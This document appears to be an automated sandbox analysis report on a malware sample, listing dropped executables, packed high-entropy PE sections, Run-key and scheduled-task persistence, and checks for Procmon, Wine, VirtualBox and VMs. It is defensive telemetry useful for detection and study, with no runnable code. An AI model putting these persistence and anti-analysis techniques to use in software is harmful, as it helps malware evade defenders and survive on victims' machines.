Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1884160 > 1048576

Source: file.exe

Static PE information: Raw size of wdmrrcke is bigger than: 0x100000 < 0x19a400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.830000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 9.2.skotes.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wdmrrcke:EW;rnnjldgn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Unpacked PE file: 10.2.11caca4b5d.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kavxkxnu:EW;myhjcrzc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kavxkxnu:EW;myhjcrzc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Unpacked PE file: 11.2.95716ab34b.exe.b20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Unpacked PE file: 12.2.11caca4b5d.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kavxkxnu:EW;myhjcrzc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kavxkxnu:EW;myhjcrzc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Unpacked PE file: 29.2.95716ab34b.exe.b20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ihmwfsmw:EW;vvsaypnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Unpacked PE file: 30.2.d764c66987.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W;ltedtzog:EW;bxhrajpy:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

13_2_009442DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.1.dr	Static PE information: real checksum: 0x1cb0a4 should be: 0x1cab2d
Source: d764c66987.exe.1.dr	Static PE information: real checksum: 0x2b0715 should be: 0x2aebdd
Source: 11caca4b5d.exe.1.dr	Static PE information: real checksum: 0x1cb0a4 should be: 0x1cab2d
Source: 95716ab34b.exe.1.dr	Static PE information: real checksum: 0x1c418d should be: 0x1bcab5
Source: file.exe	Static PE information: real checksum: 0x1cd8af should be: 0x1cfca4
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1cd8af should be: 0x1cfca4
Source: random[1].exe1.1.dr	Static PE information: real checksum: 0x1c418d should be: 0x1bcab5
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x2b0715 should be: 0x2aebdd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wdmrrcke
Source: file.exe	Static PE information: section name: rnnjldgn
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: wdmrrcke
Source: skotes.exe.0.dr	Static PE information: section name: rnnjldgn
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name: ltedtzog
Source: random[1].exe.1.dr	Static PE information: section name: bxhrajpy
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: d764c66987.exe.1.dr	Static PE information: section name:
Source: d764c66987.exe.1.dr	Static PE information: section name: .idata
Source: d764c66987.exe.1.dr	Static PE information: section name: ltedtzog
Source: d764c66987.exe.1.dr	Static PE information: section name: bxhrajpy
Source: d764c66987.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe0.1.dr	Static PE information: section name:
Source: random[1].exe0.1.dr	Static PE information: section name: .idata
Source: random[1].exe0.1.dr	Static PE information: section name:
Source: random[1].exe0.1.dr	Static PE information: section name: kavxkxnu
Source: random[1].exe0.1.dr	Static PE information: section name: myhjcrzc
Source: random[1].exe0.1.dr	Static PE information: section name: .taggant
Source: 11caca4b5d.exe.1.dr	Static PE information: section name:
Source: 11caca4b5d.exe.1.dr	Static PE information: section name: .idata
Source: 11caca4b5d.exe.1.dr	Static PE information: section name:
Source: 11caca4b5d.exe.1.dr	Static PE information: section name: kavxkxnu
Source: 11caca4b5d.exe.1.dr	Static PE information: section name: myhjcrzc
Source: 11caca4b5d.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe1.1.dr	Static PE information: section name:
Source: random[1].exe1.1.dr	Static PE information: section name: .idata
Source: random[1].exe1.1.dr	Static PE information: section name:
Source: random[1].exe1.1.dr	Static PE information: section name: ihmwfsmw
Source: random[1].exe1.1.dr	Static PE information: section name: vvsaypnn
Source: random[1].exe1.1.dr	Static PE information: section name: .taggant
Source: 95716ab34b.exe.1.dr	Static PE information: section name:
Source: 95716ab34b.exe.1.dr	Static PE information: section name: .idata
Source: 95716ab34b.exe.1.dr	Static PE information: section name:
Source: 95716ab34b.exe.1.dr	Static PE information: section name: ihmwfsmw
Source: 95716ab34b.exe.1.dr	Static PE information: section name: vvsaypnn
Source: 95716ab34b.exe.1.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003FD91C push ecx; ret		1_2_003FD92F
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00960A76 push ecx; ret		13_2_00960A89

Source: file.exe	Static PE information: section name: entropy: 7.982157141145561
Source: file.exe	Static PE information: section name: wdmrrcke entropy: 7.954042552670709
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.982157141145561
Source: skotes.exe.0.dr	Static PE information: section name: wdmrrcke entropy: 7.954042552670709
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.78628534462141
Source: d764c66987.exe.1.dr	Static PE information: section name: entropy: 7.78628534462141
Source: random[1].exe0.1.dr	Static PE information: section name: entropy: 7.978612481813435
Source: random[1].exe0.1.dr	Static PE information: section name: kavxkxnu entropy: 7.953931606377355
Source: 11caca4b5d.exe.1.dr	Static PE information: section name: entropy: 7.978612481813435
Source: 11caca4b5d.exe.1.dr	Static PE information: section name: kavxkxnu entropy: 7.953931606377355
Source: random[1].exe1.1.dr	Static PE information: section name: ihmwfsmw entropy: 7.955092140457264
Source: 95716ab34b.exe.1.dr	Static PE information: section name: ihmwfsmw entropy: 7.955092140457264

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 11caca4b5d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 95716ab34b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4feecdc349.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 11caca4b5d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 11caca4b5d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 95716ab34b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 95716ab34b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4feecdc349.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4feecdc349.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0095F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		13_2_0095F98E
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009D1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		13_2_009D1C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_13-97452

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_1-11554

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
